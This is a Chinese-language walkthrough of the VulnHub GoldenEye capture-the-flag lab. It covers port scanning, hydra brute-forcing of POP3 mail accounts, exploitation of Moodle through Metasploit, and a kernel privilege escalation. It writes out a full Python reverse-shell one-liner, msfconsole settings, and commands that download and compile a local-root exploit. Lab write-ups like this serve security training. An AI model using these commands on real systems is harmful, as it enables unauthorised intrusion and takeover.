VulnHub-GoldenEye
2023-5-13 00:1:41 Author: 白帽子(查看原文) 阅读量:18 收藏

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

前言

靶机地址:

https://www.vulnhub.com/entry/goldeneye-1,240/

靶机网卡设置成清楚所在的网段即可
参考wp:

https://portwhisperer.github.io/CTFWriteups/goldeneye.html
https://medium.com/egghunter/goldeneye-1-vulnhub-walkthrough-f31d80a5267b

信息收集

1、确定靶机IP
根据网卡确定靶机IP所在网段之后,使用nmap进行扫描。判断靶机IP为 192.168.6.128

nmap -sV -sT -A -p- 192.168.6.128 -T5 探测IP具体服务以及端口

存在pop3服务意味着可能有关邮件。

2、网站信息
访问80端口。出现提示需要在/sev-home/目录下登录,直接访问目录会提示没有凭据。

Ctrl+U 直接查看源代码发现存在名为terminal.js的js文件。进行访问。
获得信息 用户名:Boris、Natalya
密码:&# 73;&# 110;&# 118;&# 105;&# 110;&# 99;&# 105;&# 98;&# 108;&# 101;&# 72;&# 97;&# 99;&# 107;&# 51;&# 114;
将其HTML实体编码解码得到密码:InvincibleHack3r

根据提示Natalya说可以破解Boris的密码,所以访问/sev-home/目录使用Boris/InvincibleHack3r 账户密码进行登录。
发现登录错误,排查之后尝试将账户名全部改为 小写!即可正常登录。boris/InvincibleHack3r

访问/sev-home/目录,查看网页源代码中大量空白下存在注释提示两个网络主管账户

登录成功之后获得提示,邮件发送给了网络主管。pop3邮件服务在非默认端口上。

回想起在前面对靶机IP进行端口扫描的时候扫描存在55006、55007两个端口。
使用浏览器进行访问发现在其55007端口上开启了pop3服务。

使用nc或者telnet都可以进行连接,使用之前boris的用户凭据无法连接。

暴力破解&信息收集

新建用户名的文件
echo -e 'natalya\nboris\nNatalya\nBoris' >
user.txt

使用九头蛇(hydra)工具指定文件user.txt中的用户进行使用fasttrack.txt字典进行暴力破解
hydra -L user.txt -P
/usr/share/wordlists/fasttrack.txt 192.168.6.128 -s 55007 pop3
(-L 指定用户名字典,参数值为存储用户名文件的路径  -l 指定单个用户名
   -P指定密码字典,参数值为存储密码文件的路径  -p 指定单个密码)

等待暴力破解结束。
得到四个用户及密码
[55007][pop3]
host: 192.168.6.128   login: natalya   password: bird
[55007][pop3]
host: 192.168.6.128   login: boris   password: secret1!
[55007][pop3]
host: 192.168.6.128   login: Natalya   password: bird
[55007][pop3]
host: 192.168.6.128   login: Boris   password: secret1!
(Natalya和natalya,Boris和boris 属于同一账户,邮件内容一样)

登录邮箱进行查看
natalya 账户

查看第一封邮件

查看第二封邮件
获得提示:新的账户和密码  xenia/RCP90rulez!   外网域名 severnaya-station. com/ gnocertdir 以及将/etc/hosts 文件下的 IP 指向域名 severnaya-station.com

查看boris邮件

第一封邮件

第二封邮件 邮件来源natalya

第三封邮件 提示有一份文件使用GoldenEye 作为访问代码作为附件发送。并且放在此服务器的根目录下隐藏文件。
但此处无法查看到附件内容。

根据natalya账户邮件提示设置本地hosts文件

访问http://severnaya-station.com/gnocertdir  访问发现是moodle 开源cms系统

whatweb查看指纹

熟悉平台,发现部分功能需要登录,根据natalya邮件提供的xenia/RCP90rulez!账户密码进行登录
登录之后查看平台内容,发现存在邮件 账户为doak

对doak账户进行暴力破解
hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.6.128 -s 55007 pop3
得到账户密码 doak/goat

登录邮件进行查看

得到账号密码进行登录平台 dr_doak/4England!

登录发现在myhome目录下存在一个s3cret.txt 文件。

文件内提示一些重要的地方在 /dir007key/for-007.jpg

访问其目录图片信息并没有什么提示
wget http://severnaya-station.com/dir007key/for-007.jpg   --将文件下载到本地

使用工具对图片底层内容进行读取
使用exiftool for-007.jpg 执行发现eFdpbnRlcjE5OTV4IQ== base64编码 解码为xWinter1995x!
前面文档提示说这是管理员用户密码,使用该密码成功登录到admin账户

getshell

第一种getshell方法——msf
获取管理员权限之后,内容较多。但未找到有用信息。在Google浏览器搜索是否有可利用exp
moodle 2.2.3 exp poc  存在漏洞编号 CVE-2013-3630

使用msf
msfconsole
search moodle

use 3                                                  ---调用3  exploit/multi/http/moodle_cmd_exec调用攻击脚本(其他脚本可能存在某些问题)
set username admin
set password xWinter1995x!
set rhost severnaya-station.com
set targeturi /gnocertdir
set payload cmd/unix/reverse
set lhost 192.168.6.131
exploit

当我们执行后发现无法成功,是因为对方需要修改执行PSpellShell
https://www.exploit-db.com/exploits/29324
's_editor_tinymce_spellengine' => 'PSpellShell',

需要在其功能点下修改成PSpellShell并保存
Home / ► Site administration / ► Plugins / ► Text editors / ► TinyMCE HTML editor

重新运行 获取shell

获得的是一个不正常的交互shell
python -c 'import pty;pty.spawn("/bin/bash")'     ---将shell进行tty

第二种getshell方法——python反弹shell
在system paths功能下可以执行命令
Home / ► Site administration / ► Server / ► System paths

底层安装了python环境可以编写python

本地监听6666端口 nv -lvp 6666

写入python反弹shell
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.6.131",6666));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

path to aspell 下提示使用拼写检查功能
在其功能下找到功能。
Home / ► My profile/ ► Blogs / ► Add a new entry

(底行最右边的按钮激活了 spellcehck 功能)。

获得shell,其是一个伪shell。使用python -c 'import pty;pty.spawn("/bin/bash")' 将shell tty

内核提权

uname -a  查看权限

Google 搜索 Linux ubuntu 3.13.0-32-generic exp

此提权脚本针对PSpellShell 执行,需要开启 之前 TinyMCE HTML editor下的插件。以及需要使用gcc编译。
gcc -h 查看是否具有gcc

which cc 查看安装了cc

根据脚本可知:
无法进行GCC编译,需要改下脚本为cc
第143行将gcc改为cc

然后在本目录下开启http服务:python -m SimpleHTTPServer 8081  或者使用 python3 -m http.server 8081

wget http://192.168.6.131:8081/37292.c   ---wget靶机下载http服务下的文件

成功下载后执行cc编译:
cc -o exp 37292.c
chmod +x exp
./exp
whoami

根据前面邮件提示有一份文件在此服务器的根目录下隐藏文件

cat /root/.flag.txt  ---读取root下的flag信息
568628e0d993b1973adc718237da6e93

安恒信息

杭州亚运会网络安全服务官方合作伙伴

成都大运会网络信息安全类官方赞助商

武汉军运会、北京一带一路峰会

青岛上合峰会、上海进博会

厦门金砖峰会、G20杭州峰会

支撑单位北京奥运会等近百场国家级

重大活动网络安保支撑单位

长按识别二维码关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246690&idx=1&sn=8cf3ae281ec4635affaee2cb7fee4112&chksm=82ea558bb59ddc9d81ac2404b3e6108f928d51b08887adcd15f9f6af115f17b895e80a2c3eeb#rd
如有侵权请联系:admin#unsafe.sh